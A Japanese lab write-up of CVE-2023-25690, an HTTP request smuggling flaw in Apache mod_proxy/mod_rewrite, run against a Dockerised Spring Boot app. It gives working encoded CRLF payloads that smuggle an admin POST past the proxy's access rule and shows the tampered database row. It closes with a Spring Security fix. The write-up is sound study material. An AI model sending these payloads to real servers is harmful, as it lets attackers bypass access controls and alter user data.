ユーザー ──► Apache :80（プロキシ） ──► Spring Boot :8080（バックエンド） ──► SQLite
            │
            ├─ mod_rewrite + mod_proxy
            ├─ CVE-2023-25690: サニタイズされていないCRLF
            ├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
            ├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
            └─ ACL: <Location "/admin"> ブロック済み

POST /public/register: データベースへのユーザー登録を許可
POST /public/login: 入力された認証情報の検証によるログインを許可し、セッショントークンを発行
GET /public/dashboard: ユーザー専用エリア
GET /api/status: "name"パラメータを受け付ける。サービス状態確認用のサンプルエンドポイント
GET /public/logout

POST /admin/edit/{id}/{newName}/{newPass}: 理論上は一般公開されておらず、管理者がユーザーデータを変更できるルート

$ curl -I http://localhost/service/

HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42

curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'

>> ... HTTP/1.1 200 ... サービス 'x' は稼働しており安定しています。

docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080

GET /api/status?name=x HTTP/1.1
Host: spring-backend

prova: ok
trash_header:  HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive

RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]

A) GET /service/x                  → 正当な部分。/service/以降のすべてが
                                      $1（nameパラメータ）に入る

B) %20HTTP/1.1                     → [分割ポイント] バックエンドでURLを
                                      早期に閉じるスペース

C) %0d%0aHost:...%0d%0a%0d%0a     → [ヘッダーインジェクション] 最初の
                                      リクエストを終了するCRLF

D) POST /admin/edit/1/HACKED/PWNED → [スマグリングされたリクエスト] admin
                                      エンドポイントへの隠された悪意のあるリクエスト

E) %20HTTP/1.1                     → 2番目のリクエストのHTTPバージョン

F) %0d%0aContent-Length:%200       → POST用の空ボディ
   %0d%0aConnection:%20close
   %0d%0aX-Header:%20              → [ヘッダーシンク] Apacheが自動的に
                                      追加するヘッダーを吸収

GET /service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aPOST%20/admin/edit/1/HACKED/PWNED%20HTTP/1.1%0d%0aContent-Length:%200%0d%0aConnection:%20close%0d%0aX-Header:%20 HTTP/1.1
Host: localhost

GET /service/x%20HTTP/1.1%0d%0a... HTTP/1.1
Host: localhost

--- リクエスト1（正当だが「切断された」） ---
GET /api/status?name=x HTTP/1.1
Host: spring-backend

--- リクエスト2（スマグリング） ---
POST /admin/edit/1/HACKED/PWNED HTTP/1.1
Content-Length: 0
Connection: close
X-Header:

>> ... HTTP/1.1 200 ... サービス 'x' は稼働しており安定しています。

$ docker exec apache_vuln-spring-backend-1 sqlite3 /app/users.db "SELECT * FROM user;"

1|HACKED|PWNED

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
</dependency>

@Configuration
@EnableWebSecurity
public class SecurityConfig {

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/public/**").permitAll()
                .requestMatchers("/api/**").permitAll()
                .requestMatchers("/admin/**").hasRole("ADMIN")
                .anyRequest().authenticated()
            )
            .httpBasic(Customizer.withDefaults())
            .sessionManagement(session -> session
                .sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED));
        return http.build();
    }
}

@PostMapping("/admin/edit/{id}/{newName}/{newPass}")
public String adminEdit(
        @PathVariable Long id,
        @PathVariable @NotBlank String newName,
        @PathVariable @NotBlank String newPass,
        HttpSession session) {

    // ユーザーがADMINロールを持つことを確認
    User loggedUser = (User) session.getAttribute("LOGGED_USER");
    if (loggedUser == null || !loggedUser.hasAdminRole()) {
        return "アクセス拒否";
    }
    // ... 認証チェック後にのみ操作を許可
}